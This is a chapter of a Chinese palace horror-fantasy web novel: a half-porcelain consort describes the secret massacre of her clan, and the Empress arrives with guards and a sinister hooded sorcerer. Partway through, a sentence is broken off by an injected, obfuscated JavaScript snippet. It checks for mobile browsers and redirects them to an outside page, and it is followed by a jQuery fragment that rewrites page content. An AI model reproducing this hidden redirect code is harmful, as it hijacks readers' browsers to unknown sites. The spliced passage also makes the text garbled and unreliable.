贵妃的哭诉声在狭小的暗室里回荡,嘶哑破碎,每一个字都像是从被碾碎的心肺里挤出的血沫。
她半瓷化的身体无法做出大幅度的颤抖,但那细微的、持续不断的瓷器与骨骼摩擦的“咯咯”声,以及那双尚且属于血肉的眼眸中疯狂漫溢的绝望与泪水,比任何剧烈的肢体动作都更令人心头发紧。
“当年……白家……”
她哽咽着,努力想说得清晰,声音却断断续续,被巨大的悲恸切割得支离破碎,
“根本没有什么幽禁,也没有什么流放路上的意外……他们……他们早在淑妃姐姐死后不久,就被那昏君……秘密处决了!就在北郊的皇庄地窖里……白家上下一百七十三口,连同襁褓中的婴儿……一个都没放过!”
李琰只觉得一股寒气从脚底瞬间窜上天灵盖,头皮发麻。虽然早有猜测,但亲耳听到这毫无遮掩的血腥真相,仍是让他浑身血液几乎逆流。
“他骗我……骗了天下人!”贵妃的声音陡然拔高,带着泣血般的控诉,“他告诉我,父兄是在回京路上遭遇悍匪,力战而亡!还假惺惺地追封厚葬!其实……其实白家的血脉,早就断了!早就断了啊!这世上,真正流淌着白家血脉的男丁,或许……或许只剩下胜儿了!我的胜儿!”
她猛地向前探身,半瓷化的手指以一种极其怪异的姿势想要抓住李琰的衣袍下摆,却又在触及前无力地垂下,只是用那双泪眼死死地盯着他,里面是孤注一掷的、近乎癫狂的哀求:
“李校尉!李琰!我求求你!看在白家曾对先帝、对朝廷的赤胆忠心!看在……看在你或许还愿意听一句真话的份上!救救胜儿!救救他!他是白家留在世上最后的骨血了!那昏君……他连自己的儿子都要用毒药慢慢害死!他什么都能做得出来!”
她喘着粗气,瓷化的脸颊肌肉僵硬地抽搐:“白家树大根深,那昏君为了彻底铲除后患,不惜演了十多年的戏!一面假意宽宥,一面暗中屠戮!我……我甚至比皇帝更早察觉到宫里那个‘东西’的存在,那个半人半瓷的怪物!因为我……”
话音未落——
“砰!”
暗室那扇厚重的木门被一股粗暴的力量猛然撞开,打断了贵妃濒临崩溃的诉说。门外灯笼惨白的光线泻入,映出一行人影。
为首者凤冠霞帔,妆容精致,眉宇间却笼罩着一层毫不掩饰的阴鸷与急切,正是当今皇后。
她身后,跟着数名面无表情、眼神锐利如鹰隼的带刀侍卫,肃杀之气瞬间冲淡了室内原本悲伤压抑的氛围。
皇后甚至懒得瞥一眼地上形容凄惨的贵妃,目光如冰冷的刀锋,直接扫过面露惊色的陈王和瞬间绷紧身体、下意识将手握向腰间的李琰。
她唇角勾起一抹毫无温度的冷笑,声音尖利而直接,连最基本的掩饰都省却了:
“来人!把这与外臣私通、图谋不轨的贱妇给本宫捆了!”
侍卫闻令而动,如狼似虎般扑向瘫软在地的贵妃。
粗糙的绳索毫不留情地缠上她半瓷化的手臂和脖颈,瓷质与绳索摩擦,发出令人牙酸的“吱嘎”声,甚至有细碎的瓷粉簌簌落下。
贵妃被粗暴地拉起,却并未挣扎,只是仰起头,用一种混合着讥讽、了然与死寂的目光看向皇后。
反正,她早已身处绝境,烂命一条。
皇后对她的反应似乎毫不在意,或者说,此刻贵妃的态度根本无关紧要。
她向前踱了半步,华贵的裙裾扫过冰冷的地面,目光在陈王脸上停留,又冷冷掠过李琰,将其视为陈王带来的、无关紧要的随从或帮手,冷笑更甚:
“贵妃,你倒是胆子不小。自身难保,还敢私会亲王,甚至……”她的目光像看一件碍眼的物品般扫过李琰,
“还牵扯些不相干的外臣进来。这等丑事,若是让皇上知晓,你们一个都别想活!通通都是斩立决的下场!”
贵妃嘴角扯动,似乎想笑,却只发出嗬嗬的气音。
皇后却话锋陡然一转,眼神变得锐利而充满算计,声音也压低了些,却带着更强的压迫感:
“不过,本宫此刻没空理会你们这些龌龊勾当。三皇子已然发动宫变,乾元殿外此刻怕是已血流成河。皇上……哼,那老东西眼看是不成了。本宫,马上就要是太后了。”
她微微倾身,靠近被制住的贵妃,盯着她那双死水般的眼睛,一字一句,如同毒蛇吐信:“你横竖都是要死。但在死之前,不如再做件‘好事’。去把宫里那个‘东西’,给本宫封印了。”
贵妃原本死寂的眼眸骤然一缩,闪过一丝难以置信的惊骇:“你……你怎么会知道那个‘东西’?!”自从以为李胜必死,她在绝望崩溃的边缘,确实曾以某种古老血腥的仪式,试图联系、沟通甚至……
利用宫中那个日益强大的、非人存在的力量,作为报复皇帝的最后一搏。
皇帝后来在追求“长生”邪路上越走越远,变得半人半瓷,固然有其自身贪欲,但最初引动那诡异力量的“契机”……与她脱不了干系!
“本宫执掌凤印多年,统领六宫,你真当我是睁眼瞎?”
皇后冷哼一声,语气带着居高临下的鄙夷与掌控一切的自信,“宫中稍有风吹草动,岂能瞒过我的眼睛?这些日子你精神恍惚,暗中捣鼓那些见不得人的东西,甚至偷偷与某些‘非人’之物建立联系……桩桩件件,本宫都了如指掌!”
她退后半步,微微侧身。一直沉默跟在她身后阴影里的一个黑袍人,缓缓走上前。
此人全身笼罩在宽大的黑色斗篷中,看不清面容,只能隐约看到兜帽下似乎并非人脸,而是一片更深的、蠕动的黑暗。他周身散发着一种难以言喻的、混合着草药腐败与血腥气的阴冷气息,仅仅是站在那里,就让人本能地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275813|198236||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
感到不适与危险。
“这是本宫寻来的方外之人,精通些……非常手段。”
皇后的声音恢复了平静,甚至带着一丝残忍的兴致,“他能将活人精魄血气,辅以特殊药物,炼成‘锁魂丹’或是制成‘替身药人’。虽不能长久,但足以暂时压制甚至引开宫中那怪物的注意力,为三皇子顺利登基、稳定朝局争取时间。”
她看着贵妃,眼中毫无怜悯,只有赤裸裸的利用与算计:“你对那怪物有所感应,甚至可能残留一丝联系。用你来做‘药引’,再合适不过。待压制住那东西,待我儿坐稳江山……或许,本宫还能找到方法,将那怪物的力量,收为己用。”
她对皇帝显然毫无夫妻真情,眼见皇帝即将油尽灯枯、甚至可能变成更大的祸患,便毫不犹豫地打算利用贵妃这个“知情者”和“引子”,为自己和儿子的未来铺路,甚至觊觎起那恐怖力量本身。
就在这时——
“嗬……嗬嗬嗬……”
一阵低沉、阴冷、仿佛从地底深处传来,又似直接在每个人脑海中响起的怪笑声,陡然弥漫了整个暗室!那声音非男非女,带着一种粘腻的贪婪与无尽的恶意。
“好啊……鲜活的血肉……充满怨恨与绝望的灵魂……还有……一丝熟悉的、令人怀念的‘联系’……”
“小老鼠,我亲爱的小老鼠……”
声音飘忽不定,仿佛从四面八方挤压而来,每一个音节都带着冰冷的湿气,钻进人的耳朵,缠绕上心脏。
暗室内本就微弱的烛火,在这股凭空出现的阴森气息压迫下,疯狂摇曳起来,火苗被压得极低,变成幽幽的蓝色,将所有人的影子扭曲拉长,投在墙壁上,张牙舞爪,如同群魔乱舞。室内的温度骤降,呵气成霜,空气粘稠得仿佛凝固,巨大的、令人毛骨悚然的危机感如同实质的潮水,瞬间淹没了所有人。
陈王与李琰几乎在声音响起的刹那,便猛地转向彼此,无需言语,眼神瞬间交汇——警惕,决绝!
李琰的拳头在袖中握得死紧,骨节发白,指甲深深陷入掌心。
母妃与白家的血仇未报,大皇子生死未卜,此刻又骤然卷入皇后与这莫名恐怖存在的阴谋之中!
绝境之中,恶战已不可避免,但无论如何,他绝不能在此刻倒下,任人宰割!
陈王眼中亦是寒光凛冽,他飞快地扫视着暗室布局、皇后及其侍卫的位置、那个诡异的黑袍人,还有那不知藏身何处的恐怖声音来源。
大脑急速运转,思考着如何在如此混乱危险的局面中,尽可能地保住贵妃,并寻机破局。
皇后脸上的算计也瞬间被惊疑与一丝不易察觉的恐惧取代,她身后的侍卫更是紧张地握紧了刀柄,如临大敌。
这方狭窄的暗室,顷刻间成了风暴汇聚的焦点,阴谋、仇恨、贪婪、恐惧与超乎想象的邪异力量交织碰撞,一触即发。